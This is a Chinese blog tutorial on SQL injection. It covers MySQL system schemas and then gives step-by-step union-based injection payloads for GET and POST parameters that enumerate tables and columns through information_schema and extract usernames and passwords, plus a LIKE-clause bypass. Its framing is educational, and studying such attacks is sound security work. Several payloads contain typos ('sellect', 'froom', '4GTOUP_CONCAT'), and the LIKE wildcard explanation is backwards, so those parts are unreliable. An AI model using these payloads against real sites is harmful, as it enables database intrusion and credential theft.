SQL渗透与防御——(二)SQL注入

1.SQL注入基础

1. MySQL Base

系统库释意

  • Information_schema库:是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等。
  • SCHEMATA表:提供了当前MySQL实例中所有的数据库信息,show database结果取之此表。
  • TABLES表:提供了关于数据中表的信息。
  • COLUMNS表:详细描述了某张表所有列的信息。
  • mysql库:MySQL的核心数据库,主要负责存储数据库的用户、权限设置、关键字等mysql控制和管理信息。
  • performance_schema库:内存数据库,数据放在内存中直接操作的数据库,相对于磁盘,内存的数据读写速度要高出几个数量级。
  • sys库:调用这个数据库数据库,可以查询谁使用了最多的资源基于IP或是用户,哪张表被访问过最多等信息。

2.SQL Injection

  1. web程序三层架构:

    界面层:用户与前端交互

    业务逻辑层:前后端交互

    数据访问层:后端与数据库交互 SQL注入发生处

  2. 简易原理
    在这里插入图片描述 在这里插入图片描述
    SELECT * FROM t1 WHERE ID=%s;
    SELECT * FROM t1 WHERE name=%s;
    假设用户传入的ID或name值为真,比如***1 or 1 = 1***则……产生注入
    实际上执行的SQL语句为:SELECT * FROM t1 WHERE id=1 OR 1=1;
    注意闭合单引号和注释掉后面语句。

  3. 基础语法
    SQL语法

2.GET类型

union联合查询注入

  • 134 ' union select 1,2,3,4 -- 最后有空格,注释掉源码中后面的语句
    其中1,2,3,4由SQL字段个数决定,可以直接或由134' order by 4 --试出。
  • 134' union sellect 1,user(),version(),database() --替换其中的字段为user()、database()之类的,注意数据类型(对应位置字段替换前后数据类型要一致)。

  • 134' union select 1,database(),table_name,4 from information_schema.tables where table_schema=database() --
    利用information_schema库中的tables来查询database()库中存在的表名。

  • 134' union select 1,database(),column_name,4 from information_schema.columns where table_name='user' and table_schema=database() --
    利用information_schema库中的columns来查询database()库中存在的表(例如user)中的字段名。

  • 134' union select 1,username,passwd,4 froom user --
    利用查询到的字段名(例如username,passwd)替换起初union查询语句,得到值。

  • 获取table_name
    获取column_name
    database
    tables
    columns
    username
    password

3.POST类型

注意看页面源码,筛查有用信息。

Request Method:POST
Form Data(参数)
	movie:1
	action:go
两个参数即为注入点

在这里插入图片描述在这里插入图片描述

  1. 如果源码语句只显示一条结果,则先使原参数值为数据库中不存在的值,例如movie取值1~10,这里使其为11;

  2. 然后使用GROUP_CONCAT()函数:

    11 union select 1,user(),database(),4GTOUP_CONCAT(table_name),6,7 from information_schema.tables where table_schema=database() --

在这里插入图片描述
找到需要的表名,如users;

  1. 11 union select 1,user(),database(),4GTOUP_CONCAT(column_name),6,7 from information_schema.columns where table_name='users' --
    在这里插入图片描述
  2. 11 union select 1,GROUP_CONCAT(login),GROUP_CONCAT(password),4GTOUP_CONCAT(table_name),GROUP_CONCAT(admin),7 from users --
  • like

    如果用a' or '1'='1无果,则源码可能是用了like

    like %book	//以book开头的值
    like book%	//以book结尾的值
    like %book%	//包含book的值
    

    在这里插入图片描述
    那么需要闭合%
    a%' or '1'='1' --

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值